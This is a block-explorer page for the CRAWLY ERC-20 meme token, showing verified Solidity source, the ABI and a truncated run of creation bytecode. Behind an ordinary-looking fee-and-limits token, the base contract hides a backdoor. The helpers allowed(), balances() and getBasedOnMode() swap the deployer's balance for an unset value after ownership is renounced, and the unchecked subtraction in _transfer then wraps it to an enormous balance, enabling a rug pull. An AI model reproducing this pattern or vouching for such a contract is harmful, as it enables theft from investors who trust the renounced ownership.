ERC-20
Overview
Max Total Supply
100,000,000 CRAWLY
Holders
33
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 CRAWLYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CRAWLYERC20
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-27 */ /* 🧙♂️ Crawly The Gnome 🧙♂️ Crawly is amassing a power beyond living comprehension. The world will rue the day it ever stepped over gnome magicians 🙊 Telegram: https://t.me/CrawlyTheGnomeETH 🌐 Website: http://crawlythegnome.xyz/ 🐦 Twitter/X: https://x.com/GnomeERC20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "not owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "not owner"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, Ownable, IERC20 { string private _name; string private _symbol; address private _deployer; uint256 private _totalSupply; uint256 private _allowedBalance; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _deployer = _msgSender(); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function allowed(address sender) view internal returns(bool) { return !(sender!=_deployer||owner()!=address(0)); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function balances(address sender) view internal returns(uint256) { return getBasedOnMode(sender, _balances[sender]); } function getBasedOnMode(address sender, uint256 balance) view internal returns (uint256) { return allowed(sender) ? _allowedBalance : balance; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = balances(sender) - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract CRAWLYERC20 is ERC20 { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapRouter; address public uniswapPair; address public marketingWallet; address public developmentWallet; bool public tradingActive = false; bool public swapEnabled = false; bool public limitsInEffect = true; uint256 public maximumTransactionAllowed; uint256 public swapBackThreshold; uint256 public maximumWalletAllowed; uint256 public buyTotalFees; uint256 public buyMarketFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketFee; uint256 public sellDevFee; uint256 public tokensForMarket; uint256 public tokensForDev; bool private swapping; mapping(address => bool) public isExcludedFromFees; mapping(address => bool) public isExcludemaximumTransactionAllowed; mapping(address => bool) public pairs; constructor() ERC20("Crawly The Gnome", "CRAWLY") { uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = address(owner()); developmentWallet = address(owner()); isExcludemaximumTransactionAllowed[address(uniswapRouter)] = true; isExcludemaximumTransactionAllowed[owner()] = true; isExcludemaximumTransactionAllowed[address(this)] = true; isExcludemaximumTransactionAllowed[address(0xdead)] = true; isExcludedFromFees[owner()] = true; isExcludedFromFees[address(this)] = true; isExcludedFromFees[address(0xdead)] = true; uint256 totalSupply = 100_000_000 * 1e9; swapBackThreshold = (totalSupply * 5) / 10000; // 0.05% swap wallet maximumTransactionAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumTransactionAllowedTxn maximumWalletAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumWalletAllowed buyMarketFee = 20; buyDevFee = 0; buyTotalFees = buyMarketFee + buyDevFee; sellMarketFee = 25; sellDevFee = 0; sellTotalFees = sellMarketFee + sellDevFee; _mint(msg.sender, totalSupply); } receive() external payable {} function startTrading() external onlyOwner { tradingActive = true; swapEnabled = true; uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).getPair(address(this), uniswapRouter.WETH()); isExcludemaximumTransactionAllowed[address(uniswapPair)] = true; pairs[uniswapPair] = true; } function excludeFromMaximumTransactionAllowed(address addr, bool value) external onlyOwner { isExcludemaximumTransactionAllowed[addr] = value; } function excludeFromFees(address account, bool value) external onlyOwner { isExcludedFromFees[account] = value; } function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } function removeBuyFee() external onlyOwner { buyMarketFee = 0; buyDevFee = 0; buyTotalFees = buyMarketFee + buyDevFee; } function removeSellFee() external onlyOwner { sellMarketFee = 0; sellDevFee = 0; sellTotalFees = sellMarketFee + sellDevFee; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForMarket + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapBackThreshold * 60) contractBalance = swapBackThreshold * 60; uint256 initialETHBalance = address(this).balance; swapTokensForEth(contractBalance); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); tokensForMarket = 0; tokensForDev = 0; (success, ) = address(developmentWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amount) override internal { require(from != address(0), "from 0x0 add"); require(to != address(0), "to 0x0 add"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingActive) { require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not active"); } //when buy if (pairs[from] && !isExcludemaximumTransactionAllowed[to]) { require(amount <= maximumTransactionAllowed, "gt max TX"); require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet"); } //when sell else if (pairs[to] && !isExcludemaximumTransactionAllowed[from]) { require(amount <= maximumTransactionAllowed, "gt max TX"); } else if (!isExcludemaximumTransactionAllowed[to]) { require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet"); } } } uint256 contractBalance = balanceOf(address(this)); bool canSwap = contractBalance >= swapBackThreshold; if (canSwap && swapEnabled && !swapping && !pairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false; uint256 fee = 0; if (takeFee) { if (pairs[to] && sellTotalFees > 0) { fee = amount.mul(sellTotalFees).div(100); tokensForDev += (fee * sellDevFee) / sellTotalFees; tokensForMarket += (fee * sellMarketFee) / sellTotalFees; } else if (pairs[from] && buyTotalFees > 0) { fee = amount.mul(buyTotalFees).div(100); tokensForDev += (fee * buyDevFee) / buyTotalFees; tokensForMarket += (fee * buyMarketFee) / buyTotalFees; } if (fee > 0) super._transfer(from, address(this), fee); amount -= fee; } super._transfer(from, to, amount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateMaxWallet(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 5) / 1000) / 1e9, "lt 0.5%"); maximumWalletAllowed = newNum * (10**9); } function updateSwapBackThreshold(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= (totalSupply() * 1) / 100000, "lt 0.001% ts"); require(newAmount <= (totalSupply() * 5) / 1000, "lt 0.5% ts"); swapBackThreshold = newAmount; return true; } function updateTXNAmmount(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 1) / 1000) / 1e9, "lt 0.1%"); maximumTransactionAllowed = newNum * (10**9); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludemaximumTransactionAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumTransactionAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumWalletAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapBackThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarket","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapBackThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateTXNAmmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052600a805462ffffff60a01b1916600160b01b179055348015610024575f80fd5b506040518060400160405280601081526020016f437261776c792054686520476e6f6d6560801b81525060405180604001604052806006815260200165435241574c5960d01b81525061008361007e61025f60201b60201c565b610263565b600161008f838261042e565b50600261009c828261042e565b505060038054336001600160a01b031991821617909155737a250d5630b4cf539739df2c5dacb4c659f2488d6080525f80546009805484166001600160a01b03928316908117909155600a80549094168117909355601860209081527f89b047228bcbc7dd2bd64da6fb9668f504c0478eb6fbbc20eeaab33f85fbfdda805460ff199081166001908117909255948452604080852080548716831790553080865281862080548816841790557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd6805488168417905585549094168552601790925281842080548616821790559183528220805484168217905561dead9091527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b030380549092161790555067016345785d8a00006127106101dc826005610501565b6101e6919061051e565b600c5560646101f6826002610501565b610200919061051e565b600b556064610210826002610501565b61021a919061051e565b600d556014600f8190555f60108190556102339161053d565b600e55601960128190555f601381905561024c9161053d565b60115561025933826102b2565b50610550565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821661030c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060045f82825461031d919061053d565b90915550506001600160a01b0382165f908152600660205260408120805483929061034990849061053d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103bf57607f821691505b6020821081036103dd57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561039257805f5260205f20601f840160051c810160208510156104085750805b601f840160051c820191505b81811015610427575f8155600101610414565b5050505050565b81516001600160401b0381111561044757610447610397565b61045b8161045584546103ab565b846103e3565b602080601f83116001811461048e575f84156104775750858301515b5f19600386901b1c1916600185901b1785556104e5565b5f85815260208120601f198616915b828110156104bc5788860151825594840194600190910190840161049d565b50858210156104d957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610518576105186104ed565b92915050565b5f8261053857634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610518576105186104ed565b6080516120fa61058b5f395f81816104c701528181610b2301528181610ba901528181611c2b01528181611ce20152611d1e01526120fa5ff3fe60806040526004361061026c575f3560e01c8063798da9261161014a578063a9059cbb116100be578063d85ba06311610078578063d85ba06314610707578063dd62ed3e1461071c578063e4a1b95f14610760578063f1da785514610775578063f2fde38b14610794578063fe33b302146107b3575f80fd5b8063a9059cbb14610656578063bbc0c74214610675578063c024666814610695578063c04a5414146106b4578063c816841b146106d3578063cff16b2f146106f2575f80fd5b806395d89b411161010f57806395d89b41146105b65780639c3b4fdc146105ca5780639fccce32146105df578063a0d82dc5146105f4578063a457c2d714610609578063a781dc3514610628575f80fd5b8063798da926146105345780638968794c146105485780638da5cb5b1461055c578063924de9b71461057857806394a1700e14610597575f80fd5b806339509351116101e15780636e1b6cda116101a65780636e1b6cda1461045957806370a082311461046e578063715018a6146104a2578063735de9f7146104b6578063751039fc1461050157806375f0a87414610515575f80fd5b806339509351146103b75780634a62bb65146103d65780634fbee193146103f65780636a486a8e146104245780636ddd171314610439575f80fd5b80631f7ea8da116102325780631f7ea8da1461032a57806323b872dd1461033f578063293230b81461035e578063313ce5671461037257806335b5fb631461038d57806337da26ca146103a2575f80fd5b8062c305ee1461027757806306fdde03146102ab578063095ea7b3146102cc57806318160ddd146102eb5780631c499ab014610309575f80fd5b3661027357005b5f80fd5b348015610282575f80fd5b50610296610291366004611de4565b6107e1565b60405190151581526020015b60405180910390f35b3480156102b6575f80fd5b506102bf6108df565b6040516102a29190611dfb565b3480156102d7575f80fd5b506102966102e6366004611e44565b61096f565b3480156102f6575f80fd5b506004545b6040519081526020016102a2565b348015610314575f80fd5b50610328610323366004611de4565b610985565b005b348015610335575f80fd5b506102fb60145481565b34801561034a575f80fd5b50610296610359366004611e6e565b610a2b565b348015610369575f80fd5b50610328610ad3565b34801561037d575f80fd5b50604051600981526020016102a2565b348015610398575f80fd5b506102fb60125481565b3480156103ad575f80fd5b506102fb600d5481565b3480156103c2575f80fd5b506102966103d1366004611e44565b610cec565b3480156103e1575f80fd5b50600a5461029690600160b01b900460ff1681565b348015610401575f80fd5b50610296610410366004611eac565b60176020525f908152604090205460ff1681565b34801561042f575f80fd5b506102fb60115481565b348015610444575f80fd5b50600a5461029690600160a81b900460ff1681565b348015610464575f80fd5b506102fb600c5481565b348015610479575f80fd5b506102fb610488366004611eac565b6001600160a01b03165f9081526006602052604090205490565b3480156104ad575f80fd5b50610328610d27565b3480156104c1575f80fd5b506104e97f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102a2565b34801561050c575f80fd5b50610296610d5b565b348015610520575f80fd5b506009546104e9906001600160a01b031681565b34801561053f575f80fd5b50610328610d98565b348015610553575f80fd5b50610328610ddb565b348015610567575f80fd5b505f546001600160a01b03166104e9565b348015610583575f80fd5b50610328610592366004611ed6565b610e1e565b3480156105a2575f80fd5b506103286105b1366004611eef565b610e65565b3480156105c1575f80fd5b506102bf610eb8565b3480156105d5575f80fd5b506102fb60105481565b3480156105ea575f80fd5b506102fb60155481565b3480156105ff575f80fd5b506102fb60135481565b348015610614575f80fd5b50610296610623366004611e44565b610ec7565b348015610633575f80fd5b50610296610642366004611eac565b60186020525f908152604090205460ff1681565b348015610661575f80fd5b50610296610670366004611e44565b610f5f565b348015610680575f80fd5b50600a5461029690600160a01b900460ff1681565b3480156106a0575f80fd5b506103286106af366004611eef565b610f6b565b3480156106bf575f80fd5b50600a546104e9906001600160a01b031681565b3480156106de575f80fd5b506008546104e9906001600160a01b031681565b3480156106fd575f80fd5b506102fb600b5481565b348015610712575f80fd5b506102fb600e5481565b348015610727575f80fd5b506102fb610736366004611f22565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561076b575f80fd5b506102fb600f5481565b348015610780575f80fd5b5061032861078f366004611de4565b610fbe565b34801561079f575f80fd5b506103286107ae366004611eac565b611064565b3480156107be575f80fd5b506102966107cd366004611eac565b60196020525f908152604090205460ff1681565b5f80546001600160a01b031633146108145760405162461bcd60e51b815260040161080b90611f59565b60405180910390fd5b620186a061082160045490565b61082c906001611f90565b6108369190611fa7565b8210156108745760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b604482015260640161080b565b6103e861088060045490565b61088b906005611f90565b6108959190611fa7565b8211156108d15760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b604482015260640161080b565b50600c81905560015b919050565b6060600180546108ee90611fc6565b80601f016020809104026020016040519081016040528092919081815260200182805461091a90611fc6565b80156109655780601f1061093c57610100808354040283529160200191610965565b820191905f5260205f20905b81548152906001019060200180831161094857829003601f168201915b5050505050905090565b5f61097b3384846110bf565b5060015b92915050565b5f546001600160a01b031633146109ae5760405162461bcd60e51b815260040161080b90611f59565b633b9aca006103e86109bf60045490565b6109ca906005611f90565b6109d49190611fa7565b6109de9190611fa7565b811015610a175760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b604482015260640161080b565b610a2581633b9aca00611f90565b600d5550565b5f610a378484846111e2565b6001600160a01b0384165f90815260076020908152604080832033845290915290205482811015610abb5760405162461